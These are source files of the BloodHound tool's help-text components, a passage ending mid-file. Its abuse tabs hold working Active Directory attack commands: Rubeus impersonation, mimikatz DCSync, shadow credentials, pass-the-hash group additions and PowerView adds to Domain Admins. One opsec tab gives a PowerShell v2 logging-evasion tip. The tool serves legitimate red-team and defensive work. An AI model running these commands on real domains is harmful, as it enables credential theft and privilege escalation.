const References = () => {
return (
<>
<a href='path_to_url
Andy Robbins - BARK.ps1
</a>
<br />
<a href='path_to_url
Managed Identity Attack Paths, Part 2: Logic Apps
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZLogicAppContributor/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 79 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZLogicAppContributor = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZLogicAppContributor.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZLogicAppContributor;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZLogicAppContributor/AZLogicAppContributor.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 233 |
```jsx
import React from 'react';
const Abuse = () => {
return <p>There is no abuse info related to this edge.</p>;
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GpLink/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 35 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { typeFormat } from '../Formatter';
const General = ({ sourceName, targetName, targetType }) => {
return (
<>
<p>
The GPO {sourceName} is linked to the {typeFormat(targetType)}{' '}
{targetName}.
</p>
<p>
A linked GPO applies its settings to objects in the linked
container.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GpLink/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 134 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GpLink/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 58 |
```jsx
import React from 'react';
const Opsec = () => {
return <p>There are no opsec considerations related to this edge.</p>;
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GpLink/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 38 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const GpLink = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
targetName={targetName}
targetType={targetType}
/>
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
GpLink.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default GpLink;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GpLink/GpLink.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 247 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const WindowsAbuse = ({ sourceName }) => {
return (
<>
<p>
Abusing this primitive is currently only possible through the
Rubeus project.
</p>
<p>
To use this attack, the controlled account MUST have a service
principal name set, along with access to either the plaintext or
the RC4_HMAC hash of the account.
</p>
<p>
If the plaintext password is available, you can hash it to the
RC4_HMAC version using Rubeus:
</p>
<pre>
<code>{'Rubeus.exe hash /password:Summer2018!'}</code>
</pre>
<p>
Use Rubeus' *s4u* module to get a service ticket for the service
name (sname) we want to "pretend" to be "admin" for. This ticket
is injected (thanks to /ptt), and in this case grants us access
to the file system of the TARGETCOMPUTER:
</p>
<pre>
<code>{`Rubeus.exe s4u /user:${sourceName}$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt`}</code>
</pre>
</>
);
};
WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
};
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllowedToAct/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 347 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const LinuxAbuse = ({ sourceName }) => {
return (
<>
We can then get a service ticket for the service name (sname) we
want to "pretend" to be "admin" for. Impacket's getST.py example script
can be used for that purpose.
<pre>
<code>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</code>
</pre>
This ticket can then be used with Pass-the-Ticket, and could grant access
to the file system of the TARGETCOMPUTER.
</>
);
};
LinuxAbuse.propTypes = {
sourceName: PropTypes.string,
};
export default LinuxAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllowedToAct/LinuxAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 190 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} is added to the
msds-AllowedToActOnBehalfOfOtherIdentity attribute on the
computer {targetName}.
</p>
<p>
An attacker can use this account to execute a modified
S4U2self/S4U2proxy abuse chain to impersonate any domain user to
the target computer system and receive a valid service ticket
"as" this user.
</p>
<p>
One caveat is that impersonated users can not be in the
"Protected Users" security group or otherwise have delegation
privileges revoked. Another caveat is that the principal added
to the msDS-AllowedToActOnBehalfOfOtherIdentity DACL *must* have
a service principal name (SPN) set in order to successfully
abuse the S4U2self/S4U2proxy process. If an attacker does not
currently control an account with a SPN set, an attacker can
abuse the default domain MachineAccountQuota settings to add a
computer account that the attacker controls via the Powermad
project.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllowedToAct/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 334 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
To execute this attack, the Rubeus C# assembly needs to be executed
on some system with the ability to send/receive traffic in the
domain.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllowedToAct/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 69 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const AllowedToAct = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse sourceName={sourceName} />
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse sourceName={sourceName} />
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
AllowedToAct.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AllowedToAct;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllowedToAct/AllowedToAct.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 294 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
The Key Vault Contributor role grants full control of the
target Key Vault. This includes the ability to read all secrets
stored on the Key Vault.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 64 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
You can read secrets and alter access policies (grant yourself access to read secrets)
</p>
<p>Via PowerZure:</p>
<a href='path_to_url#get-azurekeyvaultcontent'>
Get-AzureKeyVaultContent
</a>
<br />
<a href='path_to_url#export-azurekeyvaultcontent'>
Export-AzureKeyVaultContent
</a>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 122 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url '>
path_to_url{' '}
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 113 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
Principals with the Cloud App Admin role can control tenant-resident
apps
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZCloudAppAdmin/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 49 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZKeyVaultKVContributor = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZKeyVaultKVContributor.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZKeyVaultKVContributor;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/AZKeyVaultKVContributor.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 236 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZCloudAppAdmin = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZCloudAppAdmin.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZCloudAppAdmin;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZCloudAppAdmin/AZCloudAppAdmin.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 235 |
```jsx
import React from 'react';
const References = () => {
return (
<p>
<a href='path_to_url
path_to_url
</a>
</p>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZCloudAppAdmin/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 49 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
Auzre will create a log event whenever a new secret is created for a
service principal.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZCloudAppAdmin/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 55 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { typeFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
The {typeFormat(sourceType)} {sourceName} is a member of the
group {targetName}.
</p>
<p>
Groups in Azure Active Directory grant their direct members any privileges
the group itself has. If a group has an AzureAD admin role, direct members
of the group inherit those permissions.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMemberOf/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 158 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMemberOf = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMemberOf.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMemberOf;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMemberOf/AZMemberOf.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 225 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
Create a role-assignable group in Azure Active Directory
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMemberOf/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 53 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const WindowsAbuse = ({ sourceName, sourceType }) => {
return (
<>
<p>To abuse this privilege, use Whisker. </p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User' || sourceType === 'Computer'
? `${sourceName} if you are not running a process as that user/computer`
: `a member of ${sourceName} if you are not running a process as a member`}
</p>
<pre>
<code>{'Whisker.exe add /target:<TargetPrincipal>'}</code>
</pre>
<p>
For other optional parameters, view the Whisker documentation.
</p>
</>
);
};
WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
};
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddKeyCredentialLink/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 205 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat } from '../Formatter';
const General = ({sourceName, sourceType, targetName}) => {
return (
<p>
{groupSpecialFormat(sourceType, sourceName)} the ability to write to
the "msds-KeyCredentialLink" property on {targetName}. Writing to
this property allows an attacker to create "Shadow Credentials" on
the object and authenticate as the principal using kerberos PKINIT.
</p>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddKeyCredentialLink/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 146 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const LinuxAbuse = ({ sourceName, sourceType }) => {
return (
<>
<p>To abuse this privilege, use <a href='path_to_url
<pre>
<code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code>
</pre>
<p>
For other optional parameters, view the pyWhisker documentation.
</p>
</>
);
};
LinuxAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
};
export default LinuxAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddKeyCredentialLink/LinuxAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 154 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const AddKeyCredentialLink = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse sourceName={sourceName} sourceType={sourceType} />
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse sourceName={sourceName} sourceType={sourceType} />
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
AddKeyCredentialLink.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AddKeyCredentialLink;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddKeyCredentialLink/AddKeyCredentialLink.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 314 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
Executing the attack will generate a 5136 (A directory object
was modified) event at the domain controller if an appropriate
SACL is in place on the target object.
</p>
<p>
If PKINIT is not common in the environment, a 4768 (Kerberos
authentication ticket (TGT) was requested) ticket can also
expose the attacker.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddKeyCredentialLink/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 124 |
```jsx
import React from 'react';
const WindowsAbuse = () => {
return (
<>
<p>
You may perform a dcsync attack to get the password hash of an
arbitrary principal using mimikatz:
</p>
<pre>
<code>
{
'lsadump::dcsync /domain:testlab.local /user:Administrator'
}
</code>
</pre>
<p>
You can also perform the more complicated ExtraSids attack to
hop domain trusts. For information on this see the blog post by
harmj0y in the references tab.
</p>
</>
);
};
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/DCSync/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 150 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} the
DS-Replication-Get-Changes and the
DS-Replication-Get-Changes-All privilege on the domain{' '}
{targetName}.
</p>
<p>
These two privileges allow a principal to perform a DCSync
attack.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/DCSync/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 159 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const DCSync = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse />
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse />
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
DCSync.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default DCSync;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/DCSync/DCSync.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 281 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} the ability to add
arbitrary principals, including{' '}
{sourceType === 'Group' ? 'themselves' : 'itself'}, to the group{' '}
{targetName}. Because of security group delegation, the members
of a security group have the same privileges as that group.
</p>
<p>
By adding itself to the group, {sourceName} will gain the same
privileges that {targetName} already has.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddMember/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 196 |
```jsx
import React from 'react';
import PropTypes from "prop-types";
const WindowsAbuse = ({ sourceName, sourceType }) => {
return (
<>
<p>
There are at least two ways to execute this attack. The first
and most obvious is by using the built-in net.exe binary in
Windows (e.g.: net group "Domain Admins" dfm.a /add /domain).
See the opsec considerations tab for why this may be a bad idea.
The second, and highly recommended method, is by using the
Add-DomainGroupMember function in PowerView. This function is
superior to using the net.exe binary in several ways. For
instance, you can supply alternate credentials, instead of
needing to run a process as or logon as the user with the
AddMember privilege. Additionally, you have much safer execution
options than you do with spawning net.exe (see the opsec tab).
</p>
<p>
To abuse this privilege with PowerView's Add-DomainGroupMember,
first import PowerView into your agent session or into a
PowerShell instance at the console.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainGroupMember, first
create a PSCredential object (these examples comes from the
PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainGroupMember, optionally specifying $Cred if
you are not already running a process as {sourceName}:
</p>
<pre>
<code>
{
"Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred"
}
</code>
</pre>
<p>
Finally, verify that the user was successfully added to the
group with PowerView's Get-DomainGroupMember:
</p>
<pre>
<code>{"Get-DomainGroupMember -Identity 'Domain Admins'"}</code>
</pre>
</>
);
};
WindowsAbuse.propTypes= {
sourceName: PropTypes.string,
sourceType: PropTypes.string
}
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddMember/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 600 |
```jsx
import React from 'react';
import PropTypes from "prop-types";
const LinuxAbuse = ({ sourceName, sourceType }) => {
return (
<>
<p>
Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext
or prompted interactively if omitted from the command line:
</p>
<pre>
<code>
{
'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
}
</code>
</pre>
<p>
Pass-the-hash can also be done here with <a href='path_to_url net tool</a>.
If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>.
</p>
<pre>
<code>
{
'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
}
</code>
</pre>
<p>
Finally, verify that the user was successfully added to the group:
</p>
<pre>
<code>
{
'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
}
</code>
</pre>
</>
);
};
LinuxAbuse.propTypes= {
sourceName: PropTypes.string,
sourceType: PropTypes.string
}
export default LinuxAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddMember/LinuxAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 349 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddMember/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 111 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
Executing this abuse with the net binary will require command
line execution. If your target organization has command line
logging enabled, this is a detection opportunity for their
analysts.
</p>
<p>
Regardless of what execution procedure you use, this action will
generate a 4728 event on the domain controller that handled the
request. This event may be centrally collected and analyzed by
security analysts, especially for groups that are obviously very
high privilege groups (i.e.: Domain Admins). Also be mindful
that Powershell 5 introduced several key security features such
as script block logging and AMSI that provide security analysts
another detection opportunity.
</p>
<p>
You may be able to completely evade those features by
downgrading to PowerShell v2.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddMember/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 213 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { typeFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<>
<p>
{typeFormat(sourceType)} {sourceName} contains the{' '}
{typeFormat(targetType)} {targetName}.
</p>
<p>
GPOs linked to a container apply to all objects that are
contained by the container.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/Contains/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 149 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const AddMember = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse sourceName={sourceName} sourceType={sourceType} />
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse sourceName={sourceName} sourceType={sourceType} />
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
AddMember.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AddMember;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddMember/AddMember.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 303 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const Contains = ({ sourceName, sourceType, targetName, targetType }) => {
return (
